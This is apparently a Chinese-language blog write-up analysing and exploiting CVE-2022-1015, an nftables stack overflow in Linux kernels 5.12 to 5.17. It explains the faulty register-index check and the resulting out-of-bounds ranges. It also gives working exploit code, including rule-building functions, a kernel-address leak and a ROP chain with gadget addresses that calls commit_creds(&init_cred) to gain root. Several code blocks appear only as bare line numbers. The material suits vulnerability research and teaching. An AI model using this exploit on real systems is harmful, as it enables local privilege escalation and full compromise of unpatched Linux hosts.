CVE-2022-1015 nftables栈溢出
咕咕咕,重启kernel
- 影响版本:5.12~5.17
- 利用条件:CAP_NET_ADMIN
参考:【kernel exploit】CVE-2022-1015 nftables 栈溢出漏洞分析与利用
漏洞分析
nft_regs
1 |
|
参考下图,1个verdict,4个NFT_REG:
- nftables最开始使用 16bytes verdict + 4 x 16bytes data reg,序号对应枚举 0 ~ 4
- 后来使用 16bytes verdict + 16 x 4bytes data reg,序号对应枚举 8 ~ 23
1 |
|
nft_parse_register
翻译寄存器下标
1 |
|
- 使用NFT_REG:一个reg 4 x 4bytes
- 使用NFT_REG32:
- verdict依然使用NFT_REG_VVERDICT即 0,占用 16bytes / 4 个下标
- NFT_REG32从NFT_REG32_00开始编号
nft_parse_register_load
1 |
|
- nft_parse_register获取reg(下标)
- nft_validate_register_load检验下标合法性
- reg放入*sreg返回
1 |
|
- reg不能为verdict
- len不能为0
- 4 x reg + len 不能超过nft_regs.data的范围(0x50)
nft_parse_register_store基本同理
漏洞触发
经过nft_parse_register后,reg的范围:
- NFT_REG:**{ 0, 4, 8, 12, 16 }**
- NFT_REG32:**[ 1, 0xfffffffb ]**
nft_validate_register_load检查:
1
2if (reg * NFT_REG32_SIZE + len > sizeof_field(struct nft_regs, data)) // 0x50
return -ERANGE;reg形如 { 0x3f, 0x7f, 0xff } . ffffff . [ 0, 0xfb ] 时会导致溢出,举例 reg = 0xfffffff0, len = 0x40
- x4:0xffffffc0
- +len:0
- 通过检查
nft_parse_register_load最终返回:
- *sreg = 0xf0
- len = 0x40
造成越界
nft_bitwise
- (实际)0x40字节
寄存器范围:
- low:0x7ffffff0 x 4 = 0xffffffc0,写入sreg最低字节 0xf0(0xffffffc0 + 0x40 = 0 可通过validate检查)
- high:0x7ffffffb x 4 = 0xffffffec,写入sreg最低字节 0xfb
由下标转化为偏移:
- low:0xf0 x 4 = 0x3c0
- high:0xfb x 4 + 0x40 = 0x42c
实际范围:**[ 0x3c0, 0x42c ] bytes**
nft_payload
- 0xff字节
寄存器范围:
- low:0x7fffffc1 x 4 = 0xffffff04,写入sreg最低字节 0xc1(0xffffff04 + 0xff = 3 可通过validate检查)
- high:0x7fffffd4 x 4 = 0xffffff50,写入sreg最低字节 0xd4(0xffffff50 + 0xff = 0x4f 可通过validate检查)
由下标转化为偏移:
- low:0xc1 x 4 = 0x304
- high:0xd4 x 4 + 0xff = 0x44f
实际范围:**[ 0x304, 0x44f ] bytes**
exp调试分析
越界范围计算
- 参数:
- result:计算结果
- desired:期望idx
- min_len:期望最小长度
- max_len:期望最大长度
- 其实就是0x3f,0x7f,0xff三种前缀
1 |
|
- 初始化reg值为最大值
- 计算validate
- 判断是否溢出,否则break,返回错误值(再往下减就不会溢出了)
- 判断低字节是否是我们想要的idx
- 否则递减reg值,goto [2]
- 计算要造成溢出最小的len
- 计算最大的len
- 更新len范围
- 更新value(+4),这是要填入的reg值
1 |
|
nftables规则建立
table:
- exploit_table:inet
chain:
- base_chain:output,NFPROTO_IPV4
- aux_chain:output,NFPROTO_IPV4
rules:
base_chain:
Expression Aguments Comment payload base = NFT_PAYLOAD_TRANSPORT_HEADER 将packet目标端口写到reg 8 offset = offsetof(udphdr, dport) len = sizeof_field(udphdr, dport) cmp op = NFT_CMP_EQ 比较reg 8是否为9999 sreg = 8 否则发出NFT_BREAK data = 999 payload base = NFT_PAYLOAD_INNER_HEADER 将packet前8字节写入reg 8 offset = 0 len = 8 cmp op = NFT_CMP_EQ 比较reg 8是否为magic sreg = 8 否则发出NFT_BREAK data = 0xdeadbeef0badc0de immediate verdict = NFT_JUMP 调用aux_chain chain = aux_chain aux_chain:
Expression Arguments Comment bitwise op = NFT_BITWISE_RSHIFT 利用OOB read内核地址字节 data = SHIFT_AMT 移位SHIFT_AMT bits写入reg 1 sreg = OOB_OFFSET dreg = 1 cmp op = NFT_CMP_GT 比较内核字节和COMPARED sreg = ADDRESS_OFFSET 小于等于COMPARED发出NFT_BREAK data = COMPARED 大于则继续 immediate verdict = NFT_DROP drop packet
Leak
新建Thread B:leak_handler
监听SERVER_PORT,重复以下过程
- 接收消息
- 回复MSG_OK
当前Thread A:
使用CLIENT_PORT,do_leak_byte泄漏1-3字节
二分法侧信道计算mid
建立leak rule,对比pos是否为cmp(mid)
- bitwise目标数据从0x3d4(index 0xf5)开始0x40字节
- bitwise右移pos x 8 bit,数据放至reg 1
- 对比cmp和reg 0x15,1字节,小于等于break,大于drop;计算逻辑如下:
- 泄漏目标偏移0x408
- 将0x408 - 0x3d4 = 0x34字节复制至reg 1
- reg 1使用的是NFT_REG,实际index = 1 x 4 = 4
- 目标字节实际index:4 + 0x34 / 4 = 0x11
- 实际index 0x11使用NFT_REG32,传入的index = 0x11 + 4 = 0x15
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24int create_infoleak_rule(struct mnl_socket* nl, struct nftnl_rule* r, uint8_t cmp, uint8_t pos, uint16_t family, int* seq, int extraflags)
{
struct vuln_expr_params vuln_params;
// [1]
if (calc_vuln_expr_params(&vuln_params, 0xf5, 0x40, 0x40))
error("Could not find correct params to trigger OOB read.");
// [2]
uint32_t shift_amt = (pos * 8);
rule_add_bit_shift(r, NFT_BITWISE_RSHIFT, vuln_params.min_len, vuln_params.value, 1, &shift_amt, sizeof shift_amt);
// [3]
rule_add_cmp(r, NFT_CMP_GT, 0x15, &cmp, 1);
rule_add_immediate_verdict(r, NF_DROP, NULL);
// [4]
return send_batch_request(
nl,
NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8),
NLM_F_CREATE | extraflags, family, (void**)&r, seq,
NULL
);
}client向server发送magic = 0xdeadbeef0badc0de,触发leak rule
recv from server
- 如果recv失败,说明发生DROP,target > mid
- 如果收到MSG_OK,说明target <= mid
- 如果收到的消息不是MSG_OK,发生错误
利用思路
nft_payload OOB write
hook input
ROP前
创建一条新的base_chain,ROP劫持的是input的hook
1
2
3
4
5struct unft_base_chain_param bp;
bp.hook_num = NF_INET_LOCAL_IN;
bp.prio = 10;
if (create_chain(nl, table_name, "base_chain_2", NFPROTO_IPV4, &bp, &seq, NULL))
error("Failed adding second base chain");触发hook时的部分调用栈
写payload规则:把ROP链写到栈上
之前计算的payload可写范围是regs后0x304—0x44f字节
这里覆盖__netif_receive_skb_one_core的返回地址
不能从返回地址前开始连续覆盖,会破坏canary
目标偏移0x398,下标0xe6,计算得到的vuln_expr_params结构体
1
2
3
4
5$2 = {
min_len = 0x68,
max_len = 0xb8,
value = 0xffffffea
}可写最大长度为0xb8,也就是23条gadget
1
2
3err = install_rop_chain_rule(nl, kernel_base, "base_chain_2", &seq);
if (err < 0)
error("[-] Could not install ROP chain");1
2
3
4
5
6
7
8
9
10
11
12static int install_rop_chain_rule(struct mnl_socket* nl, uint64_t kernel_base, char* chain, int* seq)
{
// 1. return address is at regs.data[0xe6]
struct vuln_expr_params v;
if (calc_vuln_expr_params(&v, 0xe6, 0x00, 0xff)) // 0xca -> 0xe6
error("[-] Cannot find suitable parameters for planting ROP chain.");
// 2. write ROP chain (in the packet) at (0xca - 4)*4 = 0x318
struct nftnl_rule* r = build_rule("exploit_table", chain, NFPROTO_IPV4, NULL);
//nftnl_rule_set_u64(r, NFTNL_RULE_HANDLE, INFOLEAK_RULE_HANDLE);
rule_add_payload(r, NFT_PAYLOAD_INNER_HEADER, 8, v.max_len, v.value);
/* …… */
ROP过程
softirq
由于利用的是input的hook,所以触发hook时会在软中断的上下文中
先看调用栈,在ip_finish_output2中使能后半部local_bh_enable时会检查是否有未处理的软中断并进行处理
1 |
|
看看do_softirq的过程
判断是否处于硬中断中
- 在硬中断处理函数退出时会调用irq_exit处理软中断
- 或当前软中断被禁用
没必要处理软中断,直接返回
保持中断寄存器的状态并禁用本地CPU的中断
取得当前CPU上__softirq_pending字段,获取本地CPU上挂起的软中断
如果当前CPU上有挂起的软中断,执行__do_softirq()来处理软中断
恢复中断寄存器的状态
1 |
|
do_softirq_own_stack会在另外的栈上执行__do_softirq,栈顶如下图👇
__do_softirq流程
- 通过取当前CPU上的__softirq_pending字段,获取当前CPU上挂起的软中断
- 清空本地CPU的__softirq_pending字段
- 开启本地CPU的硬中断
- 循环执行被挂起的软中断处理函数
- 处理input网络包的net_rx_action在这里执行
- 禁用本地CPU的硬中断
- 唤醒ksoftirq内核线程来处理软中断
- 调整preempt count,这个变量用于记录上下文,比如:软中断上下文、硬中断上下文
1 |
|
离开softirq上下文
需要模拟pending softirq处理完的流程
- 调用local_irq_disable禁用硬中断
- 调用softirq_handle_end调整preempt count
可以通过以下步骤模拟这一过程
- 利用
cli; ret;
gadget来执行local_irq_disable - 由于softirq_handle_end是内联实现,所以可以直接在__do_softirq中执行,跳过wakeup_softirq事务
提权后再把栈抬至do_softirq栈顶就能优雅地回到syscall上下文
1 |
|
这里需要伪造rbp,确保rbp-0x58指向的值为0x400100
提权
提权步骤
- bpf_get_current_task获取当前进程的tack_struct current
- switch_task_namespaces(current, &init_nsproxy)
- commit_creds(&init_cred)
- 抬栈返回syscall上下文
ROP链
之前计算出可以写23条gadget
离开softirq上下文需要4条
1
2
3
40xffffffff8106a918: cli; ret;
0xffffffff810006b7: pop rbp; ret;
0xffffffff822c1df2: <serial_pci_tbl+4850>: 0x0000000040010000
0xffffffff8200019f: <__do_softirq+415>__do_softirq末尾的调栈需要11条填充
1
2
3
4
5
6
7
80xffffffff820001d8 <+472>: add rsp,0x28
0xffffffff820001dc <+476>: pop rbx
0xffffffff820001dd <+477>: pop r12
0xffffffff820001df <+479>: pop r13
0xffffffff820001e1 <+481>: pop r14
0xffffffff820001e3 <+483>: pop r15
0xffffffff820001e5 <+485>: pop rbp
0xffffffff820001e6 <+486>: ret还剩8条,但提权返回syscall上下文需要11条
1
2
3
4
5
6
7
8
9
10
110xffffffff811ef7e0: bpf_get_current_task
0xffffffff8102bfb1: mov rdi, rax; mov eax, ebx; pop rbx; pop rbp; or rax, rdi; ret;
0xdeadbeef
0xdeadbeef
0xffffffff810223e6: pop rsi; ret;
0xffffffff8286d940: init_nsproxy
0xffffffff810d12b0: switch_task_namespaces
0xffffffff81092100: pop rdi; ret;
0xffffffff8286db80: init_cred
0xffffffff810d2690: commit_creds
0xffffffff8128e2c4: add rsp, 0xd8; pop r12; pop rbp; ret;
可以把提权的gadgets塞进__do_softirq末尾调栈的11条填充里,然后用8条gadget把栈搬过去
由于是自己重编的内核,所以现成的exp里有个gadget没有,自己重搓了一组,思路是一样的
大致思路
- 通过push rsp再pop将rsp的值存入某个寄存器(如r13)
- 有可控寄存器rax(如pop rax; ret;)
- sub r13, rax; ret;
- 再通过push r13; pop rsp;控制rsp
1 |
|
完整ROP链
1 |
|
一些尝试
别的Leak方法
nft_payload_set
在看源码的时候发现一个东西
1 |
|
看源码像是可以把寄存器的值写入packet,nft_payload_select_ops中如果设置了sreg没设置dreg就会返回这个nft_payload_set_ops
1 |
|
这样我们就可以直接通过将栈上的值写进packet再读取来泄漏地址,不需要侧信道了
exp
exploit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103// create_infoleak_rule() —— create rule to leak and compare with cmp
void create_infoleak_rule(struct mnl_socket* nl, struct nftnl_rule* r, uint16_t family, int* seq, int extraflags)
{
struct vuln_expr_params vuln_params;
// index 0xff -> offset 0x3fc, leak kernel address
if (calc_vuln_expr_params(&vuln_params, 0xf5, 0x40, 0x40))
error("Could not find correct params to trigger OOB read.");
// shift by pos*8 -> the first byte of the register will be leaked
uint32_t shift_amt = 0;
// printf("min_len: 0x%x, value:0x%x\n", vuln_params.min_len, vuln_params.value);
rule_add_bit_shift(r, NFT_BITWISE_RSHIFT, vuln_params.min_len, vuln_params.value, 1, &shift_amt, sizeof shift_amt);
// 使用payload set将栈上地址写入packet,8字节
rule_add_payload_set(r, NFT_PAYLOAD_INNER_HEADER, 0, 8, 0x15);
rule_add_immediate_verdict(r, NF_ACCEPT, NULL);
send_batch_request(
nl,
NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8),
NLM_F_CREATE | extraflags, family, (void**)&r, seq,
NULL
);
}
// do_leak_byte() —— leak 1 byte
#define INFOLEAK_RULE_HANDLE 4
void do_leak_bytes(struct mnl_socket* nl, int client_sock, struct sockaddr_in* addr, char* table_name, char* aux_chain_name, uint64_t* p_leak, int* seq)
{
char msg[16] = {};
char result[16] = {};
*(uint64_t*)msg = MAGIC;
// 2. Create a rule that replaces the rule with handle INFOLEAK_RULE_HANDLE
struct nftnl_rule* r = build_rule(table_name, aux_chain_name, NFPROTO_IPV4, NULL);
nftnl_rule_set_u64(r, NFTNL_RULE_HANDLE, INFOLEAK_RULE_HANDLE); // ???
// 3. create_infoleak_rule() —— create rule to leak and compare with mid
create_infoleak_rule(nl, r, NFPROTO_IPV4, seq, NLM_F_REPLACE);
// 4. trigger the above rule
sendto(client_sock, msg, sizeof msg, 0, (struct sockaddr*)addr, sizeof *addr);
// 5. judge the leak value range according to drop/accept the packet
struct sockaddr_in presumed_server_addr;
socklen_t presumed_server_addr_len = sizeof presumed_server_addr;
int nrecv = recvfrom(client_sock, result, sizeof result, 0, (struct sockaddr*)&presumed_server_addr, &presumed_server_addr_len);
if (!nrecv)
error("[-] Remote socket closed...");
else {
if (!strcmp(result, msg))
error("[-] Something went wrong...");
*p_leak = *(uint64_t *)result;
printf("[+] Leaked bytes: %llx\n", *p_leak);
}
}
// do_leak() —— leak kernel base
uint64_t do_leak(struct mnl_socket* nl, struct sockaddr_in* addr, char* table_name, char* aux_chain_name, int* seq)
{
#define CLIENT_HOST "127.0.0.1"
#define CLIENT_PORT 8888
int client_sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
struct sockaddr_in client_addr;
inet_aton(CLIENT_HOST, &client_addr.sin_addr);
client_addr.sin_port = htons(CLIENT_PORT);
client_addr.sin_family = AF_INET;
if (bind(client_sock, (struct sockaddr*)&client_addr, sizeof client_addr) < 0)
error("client bind");
// 1. set 100ms receive timeout (can probably be lower)
struct timespec t = {.tv_sec = 0, .tv_nsec = 1000 * 200};
setsockopt(client_sock, SOL_SOCKET, SO_RCVTIMEO, &t, sizeof t);
// 2. leak 8 bytes
uint64_t results;
do_leak_bytes(nl, client_sock, addr, table_name, aux_chain_name, &results, seq);
close(client_sock);
return results;
}
// leak_handler() —— polling to receive packet
int leak_handler(int fd)
{
char buf[4096] = {};
struct sockaddr_in client_addr = {};
socklen_t client_addr_size = sizeof client_addr;
size_t conn_id = 0;
// 把收到的数据发回去,这时候packet的内容已经被修改了
for (;;) {
memset(buf, 0, sizeof(buf));
int len = recvfrom(fd, buf, sizeof buf - 1, 0, (struct sockaddr*)&client_addr, &client_addr_size);
if (len <= 0)
error("listener receive failed..\n");
sendto(fd, buf, sizeof(buf), 0, (struct sockaddr*)&client_addr, client_addr_size);
}
close(fd);
return 0;
}helpers.c
1
2
3
4
5
6
7
8
9
10
11
12void rule_add_payload_set(struct nftnl_rule* r, uint32_t base, uint32_t offset, uint32_t len, uint32_t sreg)
{
struct nftnl_expr* e;
e = nftnl_expr_alloc("payload");
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_BASE, base);
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_OFFSET, offset);
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_LEN, len);
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_SREG, sreg);
nftnl_rule_add_expr(r, e);
}
hook output
hook output劫持ip_local_out的返回地址
ROP链就是直接提权的那一段,最后抬栈返回用户态的那条换一下
1 |
|
抬栈返回到inet_sendmsg
TODO
- 中断相关机制
- namespace